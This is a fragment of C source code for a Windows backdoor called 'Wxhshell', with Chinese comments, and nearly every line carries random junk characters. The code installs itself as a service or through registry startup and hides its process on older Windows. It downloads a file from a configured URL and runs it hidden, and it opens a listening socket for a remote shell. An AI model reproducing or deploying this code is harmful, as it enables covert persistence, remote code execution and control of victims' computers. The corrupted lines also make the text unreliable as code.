DWORD AffinityMask; yXXvs'$R \
DWORD BasePriority; Q^|6J#o[9
ULONG UniqueProcessId; @9<S*
ULONG InheritedFromUniqueProcessId; t]r7cA
} PROCESS_BASIC_INFORMATION; v\'rXy
H1C%o0CPY
PROCNTQSIP NtQueryInformationProcess; Me<du&
T
\KNdZC?V2
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r!~(R+,c
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rV~T>x
`11#J;[@G
HANDLE hProcess; wH#-mu#Yl<
PROCESS_BASIC_INFORMATION pbi; Tr$i=
M
g#Mv&tU
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jPpRsw>
if(NULL == hInst ) return 0; eB7>t@ED
&
L3UlL
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t5n2eOy~T
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qf)C%3gXI
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U81;7L8
'X|v+?
if (!NtQueryInformationProcess) return 0; O!yakU+
LjC6?a_?l
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }ymc5-
if(!hProcess) return 0; ;fj9n-
rWqkdi1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %P(;8sS
| yS5[?.`
CloseHandle(hProcess); hc6.#~i
@Mzz2&(dU
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^J0zXe -d
if(hProcess==NULL) return 0; ckAsGF_B~!
QP+c?ct}hF
HMODULE hMod; 'xsbm^n6a&
char procName[255]; :cEd [Jm9
unsigned long cbNeeded; QTeFR&q8
8i[".9}G\
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6GY32\Ac
E3LBPXK
CloseHandle(hProcess); r7RU"H:j8
b#Jo Xa9
if(strstr(procName,"services")) return 1; // 以服务启动 Ew>~a8!Fq
Oq[i &
return 0; // 注册表启动 WBy[m ?d
} <8g=BWA
!8we8)7
// 主模块 L#`7 FaM?
int StartWxhshell(LPSTR lpCmdLine) C?{D"f`[]
{ <sO?ev[
SOCKET wsl; >6XDX=JVI
BOOL val=TRUE; c%jsu"
int port=0; bd} r#^'K
struct sockaddr_in door; y-%nJD$
k?o^5@b/
if(wscfg.ws_autoins) Install(); &|s+KP|d
&K+
port=atoi(lpCmdLine); ^@ M [t<
O<4Q$|=&?
if(port<=0) port=wscfg.ws_port; 2wGF-V
n}=rj7
WSADATA data; 4U}zJP(L
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lt{lHat1
kV_#9z7%
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Ft )t`E'%j
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aMBL1d7
door.sin_family = AF_INET; S^|$23}
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,Y$F7&
door.sin_port = htons(port); } /[_
z~BD(FDI
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W]Y@WKeT
closesocket(wsl); ]cn/(U`
return 1; Fq vQk
} t8t}7XD
~5FS|[1L
if(listen(wsl,2) == INVALID_SOCKET) { gW'P`Oxw
closesocket(wsl); uE"5 cq'B/
return 1; ;R/k2^uF
} W+8BQ-2
Wxhshell(wsl); u)tHOV>&
WSACleanup(); N[0
xqQ
a3Z:C!|O'
return 0; mYiSR
f#'8"ff*1
} |sA4:Aq
UCe,2v%
// 以NT服务方式启动 c"sj)-_
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P#w}3^
{ ub[""M?
DWORD status = 0; <\E"clZI
DWORD specificError = 0xfffffff; +8Of-ZUx
m5X3{[a:
serviceStatus.dwServiceType = SERVICE_WIN32; l#X=]xQf
serviceStatus.dwCurrentState = SERVICE_START_PENDING; wy,Jw3
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wCV>F-
serviceStatus.dwWin32ExitCode = 0; #L_@s
d
serviceStatus.dwServiceSpecificExitCode = 0; NS7@8 #C
serviceStatus.dwCheckPoint = 0; AF6d#Klog
serviceStatus.dwWaitHint = 0; dNOX&$/=
F5<"ktnI
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G/NTe
if (hServiceStatusHandle==0) return; ;[FW!
KYnW7|*
status = GetLastError(); Sg/:n,68
if (status!=NO_ERROR) !S~,>,yd
{ =$^Wkau
serviceStatus.dwCurrentState = SERVICE_STOPPED; _7r qXkp%
serviceStatus.dwCheckPoint = 0; @*CAn(@#N
serviceStatus.dwWaitHint = 0; H(X+.R,Thp
serviceStatus.dwWin32ExitCode = status; di8W2cwz
serviceStatus.dwServiceSpecificExitCode = specificError; 0$n8b/%.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); QN)/,=#
return; 8W19#?7>B
} T[i7C3QS
M,.b`1-w
serviceStatus.dwCurrentState = SERVICE_RUNNING; kb/|;!
serviceStatus.dwCheckPoint = 0; pi^^L@@d
serviceStatus.dwWaitHint = 0; (! xg$Kz@
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )$ ofl%+
} aEcktg6h
>&$ $(Bp
// 处理NT服务事件,比如:启动、停止 mgJShn8]
VOID WINAPI NTServiceHandler(DWORD fdwControl) B0-4ZT
{ ."~7 \E> t
switch(fdwControl) 9
eSN+q
{ t7{L[C$
case SERVICE_CONTROL_STOP: RnMB Gxa
serviceStatus.dwWin32ExitCode = 0; @m+pr\h(
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]NaMZ
serviceStatus.dwCheckPoint = 0; y3&Tv
serviceStatus.dwWaitHint = 0; c'4>D,?1
{ @?<N +qdH>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &/B2)l6a
} aDm-X r
return; u~'m7
case SERVICE_CONTROL_PAUSE: xaGVu0q
serviceStatus.dwCurrentState = SERVICE_PAUSED; 2"pE&QNd
break; xB?S#5G}
case SERVICE_CONTROL_CONTINUE: JIyBhFI
serviceStatus.dwCurrentState = SERVICE_RUNNING; :NwMb^>
break; `U{o:
case SERVICE_CONTROL_INTERROGATE: {toyQ)C7
break; :)KTZ
}; l(h;e&9x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "wT~$I"
} cJU!zG
p{A}p9sjx
// 标准应用程序主函数 5uQv
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v\vE^|-\/
{ qT4I Y$h
8gVxiFjo
// 获取操作系统版本 5?V?
OsIsNt=GetOsVer(); tx:rj6-z
GetModuleFileName(NULL,ExeFile,MAX_PATH); jw:4fb
h]J&A
// 从命令行安装 #,f}lV,&
if(strpbrk(lpCmdLine,"iI")) Install(); D%c7JK
w?V[[$
// 下载执行文件 p/\$P=
if(wscfg.ws_downexe) { JLy)}8I
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w5dIk]T
WinExec(wscfg.ws_filenam,SW_HIDE); v$gMLu=
} c8k6(#\
&+E'1h10
if(!OsIsNt) { K#9(|2J%
// 如果时win9x,隐藏进程并且设置为注册表启动 AmT|%j&3
HideProc(); H j5WJ{p.
StartWxhshell(lpCmdLine); 4
|:Q1
} E1Ru)k{B
else uPv;y!Lsa@
if(StartFromService()) >wg9YZ~8
// 以服务方式启动 aBqe+FXp4
StartServiceCtrlDispatcher(DispatchTable); s
T
:tFK\
else GL;x:2XA
// 普通方式启动 '(3Nopl
StartWxhshell(lpCmdLine); EzD
-1sJ
>gX0Ij#G
return 0; nZ`2Z7!
}